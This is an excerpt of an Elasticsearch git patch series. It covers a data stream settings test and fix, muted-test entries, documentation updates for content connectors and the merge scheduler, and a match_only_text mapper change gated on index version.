+++ b/modules/data-streams/src/yamlRestTest/resources/rest-api-spec/test/data_stream/240_data_stream_settings.yml
@@ -327,8 +327,6 @@ setup:
         index: "my-data-stream-1"
         wait_for_status: green
 
-
-
   - do:
       indices.get_data_stream:
         name: my-data-stream-1
@@ -398,3 +396,96 @@ setup:
   - match: { .$idx0name.settings.index.number_of_shards: "1" }
   - match: { .$idx0name.settings.index.lifecycle.name: "my-policy" }
   - match: { .$idx0name.settings.index.lifecycle.prefer_ilm: "true" }
+
+---
+"Test null out settings component templates only":
+  - requires:
+      cluster_features: [ "logs_stream" ]
+      reason: requires setting 'logs_stream' to get or set data stream settings
+
+  - do:
+      cluster.put_component_template:
+        name: settings-template
+        body:
+          template:
+            settings:
+              lifecycle.name: my-policy
+
+  - do:
+      allowed_warnings:
+        - "index template [my-component-only-template] has index patterns [my-component-only-data-stream-*] matching patterns from existing older templates [global] with patterns (global => [*]); this template [my-component-only-template] will take precedence during new index creation"
+      indices.put_index_template:
+        name: my-component-only-template
+        body:
+          index_patterns: [ my-component-only-data-stream-* ]
+          data_stream: { }
+          composed_of:
+            - settings-template
+
+  - do:
+      indices.create_data_stream:
+        name: my-component-only-data-stream-1
+
+  - do:
+      cluster.health:
+        index: "my-component-only-data-stream-1"
+        wait_for_status: green
+
+  - do:
+      indices.get_data_stream:
+        name: my-component-only-data-stream-1
+  - match: { data_streams.0.name: my-component-only-data-stream-1 }
+  - match: { data_streams.0.settings: {} }
+  - match: { data_streams.0.effective_settings: null }
+
+  - do:
+      indices.put_data_stream_settings:
+        name: my-component-only-data-stream-1
+        body:
+          index:
+            lifecycle:
+              name: my-new-policy
+              prefer_ilm: true
+  - match: { data_streams.0.name: my-component-only-data-stream-1 }
+  - match: { data_streams.0.applied_to_data_stream: true }
+  - length: { data_streams.0.index_settings_results.applied_to_data_stream_and_backing_indices: 2  }
+  - match: { data_streams.0.settings.index.lifecycle.name: "my-new-policy" }
+  - match: { data_streams.0.settings.index.lifecycle.prefer_ilm: "true" }
+  - match: { data_streams.0.effective_settings.index.lifecycle.name: "my-new-policy" }
+  - match: { data_streams.0.effective_settings.index.lifecycle.prefer_ilm: "true" }
+
+  - do:
+      indices.put_data_stream_settings:
+        name: my-component-only-data-stream-1
+        body:
+          index:
+            lifecycle:
+              name: null
+              prefer_ilm: null
+  - match: { data_streams.0.name: my-component-only-data-stream-1 }
+  - match: { data_streams.0.applied_to_data_stream: true }
+  - length: { data_streams.0.index_settings_results.applied_to_data_stream_and_backing_indices: 2  }
+  - match: { data_streams.0.settings.index.lifecycle.name: null }
+  - match: { data_streams.0.settings.index.lifecycle.prefer_ilm: null }
+  - match: { data_streams.0.effective_settings.index.lifecycle.name: "my-policy" }
+  - match: { data_streams.0.effective_settings.index.lifecycle.prefer_ilm: null }
+
+  - do:
+      indices.get_data_stream_settings:
+        name: my-component-only-data-stream-1
+  - match: { data_streams.0.name: my-component-only-data-stream-1 }
+  - match: { data_streams.0.settings.index.lifecycle.name: null }
+  - match: { data_streams.0.settings.index.lifecycle.prefer_ilm: null }
+  - match: { data_streams.0.effective_settings.index.lifecycle.name: "my-policy" }
+  - match: { data_streams.0.effective_settings.index.lifecycle.prefer_ilm: null }
+
+  - do:
+      indices.get_data_stream:
+        name: my-component-only-data-stream-1
+  - set: { data_streams.0.indices.0.index_name: idx0name }
+
+  - do:
+      indices.get_settings:
+        index: my-component-only-data-stream-1
+  - match: { .$idx0name.settings.index.lifecycle.name: "my-policy" }
+  - match: { .$idx0name.settings.index.lifecycle.prefer_ilm: null }
diff --git a/server/src/main/java/org/elasticsearch/cluster/metadata/MetadataDataStreamsService.java b/server/src/main/java/org/elasticsearch/cluster/metadata/MetadataDataStreamsService.java
index 40a2e23241e83..de7c338c1083f 100644
--- a/server/src/main/java/org/elasticsearch/cluster/metadata/MetadataDataStreamsService.java
+++ b/server/src/main/java/org/elasticsearch/cluster/metadata/MetadataDataStreamsService.java
@@ -452,10 +452,9 @@ private DataStream createDataStreamForUpdatedDataStreamSettings(
         ProjectMetadata projectMetadata = clusterState.metadata().getProject(projectId);
         Map<String, DataStream> dataStreamMap = projectMetadata.dataStreams();
         DataStream dataStream = dataStreamMap.get(dataStreamName);
-        Settings existingSettings = dataStream.getSettings();
+        Settings existingDataStreamSettings = dataStream.getSettings();
 
-        Template.Builder templateBuilder = Template.builder();
-        Settings.Builder mergedSettingsBuilder = Settings.builder().put(existingSettings).put(settingsOverrides);
+        Settings.Builder mergedSettingsBuilder = Settings.builder().put(existingDataStreamSettings).put(settingsOverrides);
         /*
          * A null value for a setting override means that we remove it from the data stream, and let the value from the template (if any)
          * be used.
@@ -465,18 +464,14 @@ private DataStream createDataStreamForUpdatedDataStreamSettings(
                 mergedSettingsBuilder.remove(key);
             }
         });
-        Settings mergedSettings = mergedSettingsBuilder.build();
+        Settings mergedDataStreamSettings = mergedSettingsBuilder.build();
 
         final ComposableIndexTemplate template = lookupTemplateForDataStream(dataStreamName, projectMetadata);
-        ComposableIndexTemplate mergedTemplate = template.mergeSettings(mergedSettings);
-        MetadataIndexTemplateService.validateTemplate(
-            mergedTemplate.template().settings(),
-            mergedTemplate.template().mappings(),
-            indicesService
-        );
+        Settings templateSettings = MetadataIndexTemplateService.resolveSettings(template, projectMetadata.componentTemplates());
+        Settings mergedEffectiveSettings = templateSettings.merge(mergedDataStreamSettings);
+        MetadataIndexTemplateService.validateTemplate(mergedEffectiveSettings, ComposableIndexTemplate.EMPTY_MAPPINGS, indicesService);
 
-        templateBuilder.settings(mergedSettingsBuilder);
-        return dataStream.copy().setSettings(mergedSettings).build();
+        return dataStream.copy().setSettings(mergedDataStreamSettings).build();
     }
 
     private static void addBackingIndex(

From 663485c59c6124d4139bb63b11f348e9cbea171b Mon Sep 17 00:00:00 2001
From: elasticsearchmachine
 <58790826+elasticsearchmachine@users.noreply.github.com>
Date: Wed, 2 Jul 2025 16:38:31 +1000
Subject: [PATCH 037/299] Mute org.elasticsearch.xpack.esql.action.EnrichIT
 testProfile #130270

---
 muted-tests.yml | 3 +++
 1 file changed, 3 insertions(+)

diff --git a/muted-tests.yml b/muted-tests.yml
index 74728c9b4af4d..3a2c064dfe450 100644
--- a/muted-tests.yml
+++ b/muted-tests.yml
@@ -545,6 +545,9 @@ tests:
 - class: org.elasticsearch.xpack.esql.qa.single_node.GenerativeIT
   method: test
   issue: https://github.com/elastic/elasticsearch/issues/130067
+- class: org.elasticsearch.xpack.esql.action.EnrichIT
+  method: testProfile
+  issue: https://github.com/elastic/elasticsearch/issues/130270
 
 # Examples:
 #

From e92b2d311a71706569085a9f404e9046dd34b9e8 Mon Sep 17 00:00:00 2001
From: elasticsearchmachine
 <58790826+elasticsearchmachine@users.noreply.github.com>
Date: Wed, 2 Jul 2025 16:38:37 +1000
Subject: [PATCH 038/299] Mute org.elasticsearch.xpack.esql.action.EnrichIT
 testForPushDownEnrichRule #130426

---
 muted-tests.yml | 3 +++
 1 file changed, 3 insertions(+)

diff --git a/muted-tests.yml b/muted-tests.yml
index 3a2c064dfe450..5c1a754bd6fed 100644
--- a/muted-tests.yml
+++ b/muted-tests.yml
@@ -548,6 +548,9 @@ tests:
 - class: org.elasticsearch.xpack.esql.action.EnrichIT
   method: testProfile
   issue: https://github.com/elastic/elasticsearch/issues/130270
+- class: org.elasticsearch.xpack.esql.action.EnrichIT
+  method: testForPushDownEnrichRule
+  issue: https://github.com/elastic/elasticsearch/issues/130426
 
 # Examples:
 #

From 97913bd10a9dfbf6970d2c1b8f3aa303c95a6b03 Mon Sep 17 00:00:00 2001
From: elasticsearchmachine
 <58790826+elasticsearchmachine@users.noreply.github.com>
Date: Wed, 2 Jul 2025 16:38:44 +1000
Subject: [PATCH 039/299] Mute org.elasticsearch.xpack.esql.action.EnrichIT
 testTopN #130122

---
 muted-tests.yml | 3 +++
 1 file changed, 3 insertions(+)

diff --git a/muted-tests.yml b/muted-tests.yml
index 5c1a754bd6fed..474cd870c18d2 100644
--- a/muted-tests.yml
+++ b/muted-tests.yml
@@ -551,6 +551,9 @@ tests:
 - class: org.elasticsearch.xpack.esql.action.EnrichIT
   method: testForPushDownEnrichRule
   issue: https://github.com/elastic/elasticsearch/issues/130426
+- class: org.elasticsearch.xpack.esql.action.EnrichIT
+  method: testTopN
+  issue: https://github.com/elastic/elasticsearch/issues/130122
 
 # Examples:
 #

From 853d97b8d9649aaa7001d4c5a4a2ff01c1e56f8f Mon Sep 17 00:00:00 2001
From: Charlotte Hoblik <116336412+charlotte-hoblik@users.noreply.github.com>
Date: Wed, 2 Jul 2025 11:07:12 +0200
Subject: [PATCH 040/299] [DOCS]: Rename serach connectors to content
 connectors (#130309) (#130435)

* Rename serach connectors to content connectors

* Adding support table to documentation

* replace 'search' to 'content'

* fix links
---
 docs/reference/search-connectors/index.md | 84 +++++++++++++----------
 docs/reference/search-connectors/toc.yml  |  2 +-
 2 files changed, 50 insertions(+), 36 deletions(-)

diff --git a/docs/reference/search-connectors/index.md b/docs/reference/search-connectors/index.md
index 30452ad9b11a3..991d7ae0bc9e5 100644
--- a/docs/reference/search-connectors/index.md
+++ b/docs/reference/search-connectors/index.md
@@ -8,13 +8,13 @@ mapped_pages:
   - https://www.elastic.co/guide/en/enterprise-search/current/connectors.html
 ---
 
-# Search connectors
+# Content connectors
 
 $$$es-connectors-native$$$
 
 
 :::{note}
-This page is about Search connectors that synchronize third-party data into {{es}}. If you’re looking for Kibana connectors to integrate with services like generative AI model providers, refer to [Kibana Connectors](docs-content://deploy-manage/manage-connectors.md).
+This page is about content connectors that synchronize third-party data into {{es}}. If you’re looking for Kibana connectors to integrate with services like generative AI model providers, refer to [Kibana Connectors](docs-content://deploy-manage/manage-connectors.md).
 :::
 
 A _connector_ is an Elastic integration that syncs data from an original data source to {{es}}. Use connectors to create searchable, read-only replicas of your data in {{es}}.
@@ -30,38 +30,53 @@ These connectors are written in Python and the source code is available in the [
 As of Elastic 9.0, managed connectors on Elastic Cloud Hosted are no longer available. All connectors must be [self-managed](/reference/search-connectors/self-managed-connectors.md).
 ::::
 
-
-Connectors are available for the following third-party data sources:
-
-- [Azure Blob Storage](/reference/search-connectors/es-connectors-azure-blob.md)
-- [Box](/reference/search-connectors/es-connectors-box.md)
-- [Confluence](/reference/search-connectors/es-connectors-confluence.md)
-- [Dropbox](/reference/search-connectors/es-connectors-dropbox.md)
-- [GitHub](/reference/search-connectors/es-connectors-github.md)
-- [Gmail](/reference/search-connectors/es-connectors-gmail.md)
-- [Google Cloud Storage](/reference/search-connectors/es-connectors-google-cloud.md)
-- [Google Drive](/reference/search-connectors/es-connectors-google-drive.md)
-- [GraphQL](/reference/search-connectors/es-connectors-graphql.md)
-- [Jira](/reference/search-connectors/es-connectors-jira.md)
-- [MicrosoftSQL](/reference/search-connectors/es-connectors-ms-sql.md)
-- [MongoDB](/reference/search-connectors/es-connectors-mongodb.md)
-- [MySQL](/reference/search-connectors/es-connectors-mysql.md)
-- [Network drive](/reference/search-connectors/es-connectors-network-drive.md)
-- [Notion](/reference/search-connectors/es-connectors-notion.md)
-- [OneDrive](/reference/search-connectors/es-connectors-onedrive.md)
-- [OpenText Documentum](/reference/search-connectors/es-connectors-opentext.md)
-- [Oracle](/reference/search-connectors/es-connectors-oracle.md)
-- [Outlook](/reference/search-connectors/es-connectors-outlook.md)
-- [PostgreSQL](/reference/search-connectors/es-connectors-postgresql.md)
-- [Redis](/reference/search-connectors/es-connectors-redis.md)
-- [S3](/reference/search-connectors/es-connectors-s3.md)
-- [Salesforce](/reference/search-connectors/es-connectors-salesforce.md)
-- [ServiceNow](/reference/search-connectors/es-connectors-servicenow.md)
-- [SharePoint Online](/reference/search-connectors/es-connectors-sharepoint-online.md)
-- [SharePoint Server](/reference/search-connectors/es-connectors-sharepoint.md)
-- [Slack](/reference/search-connectors/es-connectors-slack.md)
-- [Teams](/reference/search-connectors/es-connectors-teams.md)
-- [Zoom](/reference/search-connectors/es-connectors-zoom.md)
+This table provides an overview of our available connectors, their current support status, and the features they support.
+
+The columns provide specific information about each connector:
+
+- **Status**: Indicates whether the connector is in General Availability (GA), Technical Preview, Beta, or is an Example connector.
+- **Advanced sync rules**: Specifies the versions in which advanced sync rules are supported, if applicable.
+- **Local binary extraction service**: Specifies the versions in which the local binary extraction service is supported, if applicable.
+- **Incremental syncs**: Specifies the version in which incremental syncs are supported, if applicable.
+- **Document level security**: Specifies the version in which document level security is supported, if applicable.
+
+
+
+| Connector | Status | [Advanced sync rules](./es-sync-rules.md#es-sync-rules-advanced) | [Local binary extraction service](./es-connectors-content-extraction.md#es-connectors-content-extraction-local) | [Incremental syncs](./content-syncs.md#es-connectors-sync-types-incremental) | [Document level security](./document-level-security.md) | Source code |
+| ------- | --------------- | -- | -- | -- | -- | -- |
+| [Azure Blob](/reference/search-connectors/es-connectors-azure-blob.md) | **GA** | - | 8.11+ | 8.13+ | - | [View code](https://github.com/elastic/connectors/tree/main/connectors/sources/azure_blob_storage.py) |
+| [Box](/reference/search-connectors/es-connectors-box.md)  | **Preview** | - | - | 8.13+ | - | [View code](https://github.com/elastic/connectors/tree/main/connectors/sources/box.py) |
+| [Confluence Cloud](/reference/search-connectors/es-connectors-confluence.md) | **GA** | 8.9+ | 8.11+ | 8.13+ | 8.10 | [View code](https://github.com/elastic/connectors/tree/main/connectors/sources/confluence.py) |
+| [Confluence Data Center](/reference/search-connectors/es-connectors-confluence.md) | **Preview** | 8.13+ | 8.13+ | 8.13+ | 8.14+ | [View code](https://github.com/elastic/connectors/tree/main/connectors/sources/confluence.py) |
+| [Confluence Server](/reference/search-connectors/es-connectors-confluence.md)| **GA** | 8.9+ | 8.11+ | 8.13+ | 8.14+ | [View code](https://github.com/elastic/connectors/tree/main/connectors/sources/confluence.py) |
+| [Dropbox](/reference/search-connectors/es-connectors-dropbox.md)| **GA** | - | 8.11+ | 8.13+ | 8.12+ | [View code](https://github.com/elastic/connectors/tree/main/connectors/sources/dropbox.py) |
+| [GitHub](/reference/search-connectors/es-connectors-github.md)| **GA** | 8.10+ | 8.11+ | 8.13+ | 8.12+ | [View code](https://github.com/elastic/connectors/tree/main/connectors/sources/github.py) |
+| [Gmail](/reference/search-connectors/es-connectors-gmail.md)| **GA** | - | - | 8.13+ | 8.10+ | [View code](https://github.com/elastic/connectors/tree/main/connectors/sources/gmail.py) |
+| [Google Cloud Storage](/reference/search-connectors/es-connectors-google-cloud.md)| **GA** | - | 8.11+ | 8.13+ | - | [View code](https://github.com/elastic/connectors/tree/main/connectors/sources/google_cloud_storage.py) |
+| [Google Drive](/reference/search-connectors/es-connectors-google-drive.md)| **GA** | - | 8.11+ | 8.13+ | 8.10+ | [View code](https://github.com/elastic/connectors/tree/main/connectors/sources/google_drive.py) |
+| [GraphQL](/reference/search-connectors/es-connectors-graphql.md)| **Preview** | - | - | - | - | [View code](https://github.com/elastic/connectors/tree/main/connectors/sources/graphql.py) |
+| [Jira Cloud](/reference/search-connectors/es-connectors-jira.md)| **GA** | 8.9+ | 8.11+ | 8.13+ | 8.10+ | [View code](https://github.com/elastic/connectors/tree/main/connectors/sources/jira.py) |
+| [Jira Data Center](/reference/search-connectors/es-connectors-jira.md)| **Preview** | 8.13+ | 8.13+ | 8.13+ | 8.13+*| [View code](https://github.com/elastic/connectors/tree/main/connectors/sources/jira.py) |
+| [Jira Server](/reference/search-connectors/es-connectors-jira.md)| **GA** | 8.9+ | 8.11+ | 8.13+ | - | [View code](https://github.com/elastic/connectors/tree/main/connectors/sources/jira.py) |
+| [Microsoft SQL Server](/reference/search-connectors/es-connectors-ms-sql.md)| **GA** | 8.11+ | - | - | - | [View code](https://github.com/elastic/connectors/tree/main/connectors/sources/mssql.py) |
+| [MongoDB](/reference/search-connectors/es-connectors-mongodb.md)| **GA** | 8.8 native/ 8.12 self-managed | - | - | - | [View code](https://github.com/elastic/connectors/tree/main/connectors/sources/mongo.py) |
+| [MySQL](/reference/search-connectors/es-connectors-mysql.md)| **GA** | 8.8+ | - | - | - | [View code](https://github.com/elastic/connectors/tree/main/connectors/sources/mysql.py) |
+| [Network drive](/reference/search-connectors/es-connectors-network-drive.md)| **GA** | 8.10+ | 8.14+ | 8.13+ | 8.11+ | [View code](https://github.com/elastic/connectors/tree/main/connectors/sources/network_drive.py) |
+| [Notion](/reference/search-connectors/es-connectors-notion.md)| **GA** | 8.14+ | - | - | - | [View code](https://github.com/elastic/connectors/tree/main/connectors/sources/notion.py) |
+| [OneDrive](/reference/search-connectors/es-connectors-onedrive.md)| **GA** | 8.11+ | 8.11+ | 8.13+ | 8.11+ | [View code](https://github.com/elastic/connectors/tree/main/connectors/sources/onedrive.py) |
+| [Opentext Documentum](/reference/search-connectors/es-connectors-opentext.md)| **Example** | n/a | n/a | n/a | - | [View code](https://github.com/elastic/connectors/tree/main/connectors/sources/opentext_documentum.py) |
+| [Oracle](/reference/search-connectors/es-connectors-oracle.md)| **GA** | - | - | - | - | [View code](https://github.com/elastic/connectors/tree/main/connectors/sources/oracle.py) |
+| [Outlook](/reference/search-connectors/es-connectors-outlook.md)| **GA** | - | 8.11+ | 8.13+ | 8.14+ | [View code](https://github.com/elastic/connectors/tree/main/connectors/sources/outlook.py) |
+| [PostgreSQL](/reference/search-connectors/es-connectors-postgresql.md)| **GA** | 8.11+ | - | - | - | [View code](https://github.com/elastic/connectors/tree/main/connectors/sources/postgresql.py) |
+| [Redis](/reference/search-connectors/es-connectors-redis.md)| **Preview** | - | - | - | - | [View code](https://github.com/elastic/connectors/tree/main/connectors/sources/redis.py) |
+| [Amazon S3](/reference/search-connectors/es-connectors-s3.md)| **GA** | 8.12+ | 8.11+ | - | - |[View code](https://github.com/elastic/connectors/tree/main/connectors/sources/s3.py) |
+| [Salesforce](/reference/search-connectors/es-connectors-salesforce.md)| **GA** | 8.12+ | 8.11+ | 8.13+ | 8.13+ | [View code](https://github.com/elastic/connectors/tree/main/connectors/sources/salesforce.py) |
+| [ServiceNow](/reference/search-connectors/es-connectors-servicenow.md)| **GA** | 8.10+ | 8.11+ | 8.13+ | 8.13+ | [View code](https://github.com/elastic/connectors/tree/main/connectors/sources/servicenow.py) |
+| [Sharepoint Online](/reference/search-connectors/es-connectors-sharepoint-online.md)| **GA** | 8.9+ | 8.9+ | 8.9+ | 8.9+ |[View code](https://github.com/elastic/connectors/tree/main/connectors/sources/sharepoint_online.py) |
+| [Sharepoint Server](/reference/search-connectors/es-connectors-sharepoint.md)| **Beta** | - | 8.11+ | 8.13+ | 8.15+ |[View code](https://github.com/elastic/connectors/tree/main/connectors/sources/sharepoint_server.py) |
+| [Slack](/reference/search-connectors/es-connectors-slack.md)| **Preview** | - | - | - | - | [View code](https://github.com/elastic/connectors/tree/main/connectors/sources/slack.py) |
+| [Teams](/reference/search-connectors/es-connectors-teams.md)| **Preview** | - | - | 8.13+ | - | [View code](https://github.com/elastic/connectors/tree/main/connectors/sources/teams.py) |
+| [Zoom](/reference/search-connectors/es-connectors-zoom.md)| **Preview** | - | 8.11+ | 8.13+ | - | [View code](https://github.com/elastic/connectors/tree/main/connectors/sources/zoom.py) |
 
 :::{tip}
 Because prerequisites and configuration details vary by data source, you’ll need to refer to the individual connector references for specific details.
@@ -69,7 +84,6 @@ Because prerequisites and configuration details vary by data source, you’ll ne
 
 ## Overview
 
-
 Because connectors are self-managed on your own infrastructure, they run outside of your Elastic deployment.
 
 You can run them from source or in a Docker container.
diff --git a/docs/reference/search-connectors/toc.yml b/docs/reference/search-connectors/toc.yml
index 3fb2578cfebfd..adea1a18ed646 100644
--- a/docs/reference/search-connectors/toc.yml
+++ b/docs/reference/search-connectors/toc.yml
@@ -1,4 +1,4 @@
-project: 'Search connectors reference'
+project: 'Content connectors reference'
 toc:
 - file: index.md
 - file: connector-reference.md

From cc349539a930d778f2fafcfc40f52a37245376af Mon Sep 17 00:00:00 2001
From: Albert Zaharovits <email+github@zalbert.me>
Date: Wed, 2 Jul 2025 17:53:28 +0300
Subject: [PATCH 041/299] [DOCS] Disk space aware threadpool merge scheduler
 (#130465) (#130469)

This documents the new threadpool-based merge scheduler, which is disk
space aware, and blocks merges when disk space is low. The code changes
were mostly introduced in
https://github.com/elastic/elasticsearch/pull/120869 and
https://github.com/elastic/elasticsearch/pull/127613 .
---
 .../thread-pool-settings.md                   |  5 +++-
 .../elasticsearch/index-settings/merge.md     | 28 +++++++++++++++++--
 2 files changed, 29 insertions(+), 4 deletions(-)

diff --git a/docs/reference/elasticsearch/configuration-reference/thread-pool-settings.md b/docs/reference/elasticsearch/configuration-reference/thread-pool-settings.md
index 8314ff41bdc59..b1d92dd4aabe8 100644
--- a/docs/reference/elasticsearch/configuration-reference/thread-pool-settings.md
+++ b/docs/reference/elasticsearch/configuration-reference/thread-pool-settings.md
@@ -59,8 +59,11 @@ $$$search-throttled$$$`search_throttled`
 `flush`
 :   For [flush](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-indices-flush) and [translog](/reference/elasticsearch/index-settings/translog.md) `fsync` operations. Thread pool type is `scaling` with a keep-alive of `5m` and a default maximum size of `min(5, (`[`# of allocated processors`](#node.processors)`) / 2)`.
 
+`merge`
+:   For [merge](https://www.elastic.co/guide/en/elasticsearch/reference/current/index-modules-merge.html) operations of all the shards on the node. Thread pool type is `scaling` with a keep-alive of `5m` and a default maximum size of [`# of allocated processors`](#node.processors).
+
 `force_merge`
-:   For [force merge](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-indices-forcemerge) operations. Thread pool type is `fixed` with a size of `max(1, (`[`# of allocated processors`](#node.processors)`) / 8)` and an unbounded queue size.
+:   For waiting on blocking [force merge](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-indices-forcemerge) operations. Thread pool type is `fixed` with a size of `max(1, (`[`# of allocated processors`](#node.processors)`) / 8)` and an unbounded queue size.
 
 `management`
 :   For cluster management. Thread pool type is `scaling` with a keep-alive of `5m` and a default maximum size of `5`.
diff --git a/docs/reference/elasticsearch/index-settings/merge.md b/docs/reference/elasticsearch/index-settings/merge.md
index b5b6d10f7defe..c318fab3a5977 100644
--- a/docs/reference/elasticsearch/index-settings/merge.md
+++ b/docs/reference/elasticsearch/index-settings/merge.md
@@ -13,10 +13,32 @@ The merge process uses auto-throttling to balance the use of hardware resources
 
 ## Merge scheduling [merge-scheduling]
 
-The merge scheduler (ConcurrentMergeScheduler) controls the execution of merge operations when they are needed. Merges run in separate threads, and when the maximum number of threads is reached, further merges will wait until a merge thread becomes available.
+The merge scheduler controls the execution of merge operations when they are needed.
+Merges run on the dedicated `merge` thread pool.
+Smaller merges are prioritized over larger ones, across all shards on the node.
+Merges are disk IO throttled so that bursts, while merging activity is otherwise low, are smoothed out in order to not impact indexing throughput.
+There is no limit on the number of merges that can be enqueued for execution on the thread pool.
+However, beyond a certain per-shard limit, after merging is completely disk IO un-throttled, indexing for the shard will itself be throttled until merging catches up.
 
-The merge scheduler supports the following *dynamic* setting:
+The available disk space is periodically monitored, such that no new merge tasks are scheduled for execution when the available disk space is low.
+This is in order to prevent that the temporary disk space, which is required while merges are executed, completely fills up the disk space on the node.
+
+The merge scheduler supports the following *dynamic* settings:
 
 `index.merge.scheduler.max_thread_count`
-:   The maximum number of threads on a single shard that may be merging at once. Defaults to `Math.max(1, Math.min(4, <<node.processors, node.processors>> / 2))` which works well for a good solid-state-disk (SSD). If your index is on spinning platter drives instead, decrease this to 1.
+:   The maximum number of threads on a **single** shard that may be merging at once. Defaults to `Math.max(1, Math.min(4, <<node.processors, node.processors>> / 2))` which works well for a good solid-state-disk (SSD). If your index is on spinning platter drives instead, decrease this to 1.
+
+`indices.merge.disk.check_interval`
+:   The time interval for checking the available disk space. Defaults to `5s`.
+
+`indices.merge.disk.watermark.high`
+:   Controls the disk usage watermark, which defaults to `95%`, beyond which no merge tasks can start execution.
+The disk usage tally includes the estimated temporary disk space still required by all the currently executing merge tasks.
+Any merge task scheduled *before* the limit is reached continues execution, even if the limit is exceeded while executing
+(merge tasks are not aborted).
+
+`indices.merge.disk.watermark.high.max_headroom`
+:   Controls the max headroom for the merge disk usage watermark, in case it is specified as percentage or ratio values.
+Defaults to `100GB` when `indices.merge.disk.watermark.high` is not explicitly set.
+This caps the amount of free disk space before merge scheduling is blocked.
 

From 1a13d7529fc22e95270c1785d289407663d81aca Mon Sep 17 00:00:00 2001
From: Jordan Powers <jordan.powers@elastic.co>
Date: Wed, 2 Jul 2025 09:34:28 -0700
Subject: [PATCH 042/299] [9.1] Add index version for match_only_text stored
 field in binary format (#130363) (#130414)

* Add index version for match_only_text stored field in binary format (#130363)

Follow-up to #130049 to gate using the binary format for the stored field
in match_only_text fields behind an index version.

* Fix index version check
---
 .../extras/MatchOnlyTextFieldMapper.java      | 54 ++++++++++++++++---
 .../extras/MatchOnlyTextFieldMapperTests.java | 10 +++-
 .../elasticsearch/index/IndexVersions.java    |  2 +
 3 files changed, 56 insertions(+), 10 deletions(-)

diff --git a/modules/mapper-extras/src/main/java/org/elasticsearch/index/mapper/extras/MatchOnlyTextFieldMapper.java b/modules/mapper-extras/src/main/java/org/elasticsearch/index/mapper/extras/MatchOnlyTextFieldMapper.java
index 387477570ece0..bb9babc14c1bb 100644
--- a/modules/mapper-extras/src/main/java/org/elasticsearch/index/mapper/extras/MatchOnlyTextFieldMapper.java
+++ b/modules/mapper-extras/src/main/java/org/elasticsearch/index/mapper/extras/MatchOnlyTextFieldMapper.java
@@ -35,6 +35,7 @@
 import org.elasticsearch.common.text.UTF8DecodingReader;
 import org.elasticsearch.common.unit.Fuzziness;
 import org.elasticsearch.index.IndexVersion;
+import org.elasticsearch.index.IndexVersions;
 import org.elasticsearch.index.analysis.IndexAnalyzers;
 import org.elasticsearch.index.analysis.NamedAnalyzer;
 import org.elasticsearch.index.fielddata.FieldDataContext;
@@ -105,8 +106,15 @@ public static class Builder extends FieldMapper.Builder {
 
         private final TextParams.Analyzers analyzers;
         private final boolean withinMultiField;
+        private final boolean storedFieldInBinaryFormat;
 
-        public Builder(String name, IndexVersion indexCreatedVersion, IndexAnalyzers indexAnalyzers, boolean withinMultiField) {
+        public Builder(
+            String name,
+            IndexVersion indexCreatedVersion,
+            IndexAnalyzers indexAnalyzers,
+            boolean withinMultiField,
+            boolean storedFieldInBinaryFormat
+        ) {
             super(name);
             this.indexCreatedVersion = indexCreatedVersion;
             this.analyzers = new TextParams.Analyzers(
@@ -116,6 +124,7 @@ public Builder(String name, IndexVersion indexCreatedVersion, IndexAnalyzers ind
                 indexCreatedVersion
             );
             this.withinMultiField = withinMultiField;
+            this.storedFieldInBinaryFormat = storedFieldInBinaryFormat;
         }
 
         @Override
@@ -135,7 +144,8 @@ private MatchOnlyTextFieldType buildFieldType(MapperBuilderContext context) {
                 context.isSourceSynthetic(),
                 meta.getValue(),
                 withinMultiField,
-                multiFieldsBuilder.hasSyntheticSourceCompatibleKeywordField()
+                multiFieldsBuilder.hasSyntheticSourceCompatibleKeywordField(),
+                storedFieldInBinaryFormat
             );
             return ft;
         }
@@ -155,8 +165,22 @@ public MatchOnlyTextFieldMapper build(MapperBuilderContext context) {
         }
     }
 
+    private static boolean isSyntheticSourceStoredFieldInBinaryFormat(IndexVersion indexCreatedVersion) {
+        return indexCreatedVersion.onOrAfter(IndexVersions.MATCH_ONLY_TEXT_STORED_AS_BYTES)
+            || indexCreatedVersion.between(
+                IndexVersions.MATCH_ONLY_TEXT_STORED_AS_BYTES_BACKPORT_8_X,
+                IndexVersions.UPGRADE_TO_LUCENE_10_0_0
+            );
+    }
+
     public static final TypeParser PARSER = new TypeParser(
-        (n, c) -> new Builder(n, c.indexVersionCreated(), c.getIndexAnalyzers(), c.isWithinMultiField())
+        (n, c) -> new Builder(
+            n,
+            c.indexVersionCreated(),
+            c.getIndexAnalyzers(),
+            c.isWithinMultiField(),
+            isSyntheticSourceStoredFieldInBinaryFormat(c.indexVersionCreated())
+        )
     );
 
     public static class MatchOnlyTextFieldType extends StringFieldType {
@@ -167,6 +191,7 @@ public static class MatchOnlyTextFieldType extends StringFieldType {
 
         private final boolean withinMultiField;
         private final boolean hasCompatibleMultiFields;
+        private final boolean storedFieldInBinaryFormat;
 
         public MatchOnlyTextFieldType(
             String name,
@@ -175,7 +200,8 @@ public MatchOnlyTextFieldType(
             boolean isSyntheticSource,
             Map<String, String> meta,
             boolean withinMultiField,
-            boolean hasCompatibleMultiFields
+            boolean hasCompatibleMultiFields,
+            boolean storedFieldInBinaryFormat
         ) {
             super(name, true, false, false, tsi, meta);
             this.indexAnalyzer = Objects.requireNonNull(indexAnalyzer);
@@ -183,6 +209,7 @@ public MatchOnlyTextFieldType(
             this.originalName = isSyntheticSource ? name + "._original" : null;
             this.withinMultiField = withinMultiField;
             this.hasCompatibleMultiFields = hasCompatibleMultiFields;
+            this.storedFieldInBinaryFormat = storedFieldInBinaryFormat;
         }
 
         public MatchOnlyTextFieldType(String name) {
@@ -193,6 +220,7 @@ public MatchOnlyTextFieldType(String name) {
                 false,
                 Collections.emptyMap(),
                 false,
+                false,
                 false
             );
         }
@@ -451,7 +479,11 @@ protected BytesRef toBytesRef(Object v) {
         @Override
         public BlockLoader blockLoader(BlockLoaderContext blContext) {
             if (textFieldType.isSyntheticSource()) {
-                return new BytesFromMixedStringsBytesRefBlockLoader(storedFieldNameForSyntheticSource());
+                if (storedFieldInBinaryFormat) {
+                    return new BlockStoredFieldsReader.BytesFromBytesRefsBlockLoader(storedFieldNameForSyntheticSource());
+                } else {
+                    return new BytesFromMixedStringsBytesRefBlockLoader(storedFieldNameForSyntheticSource());
+                }
             }
             SourceValueFetcher fetcher = SourceValueFetcher.toString(blContext.sourcePaths(name()));
             // MatchOnlyText never has norms, so we have to use the field names field
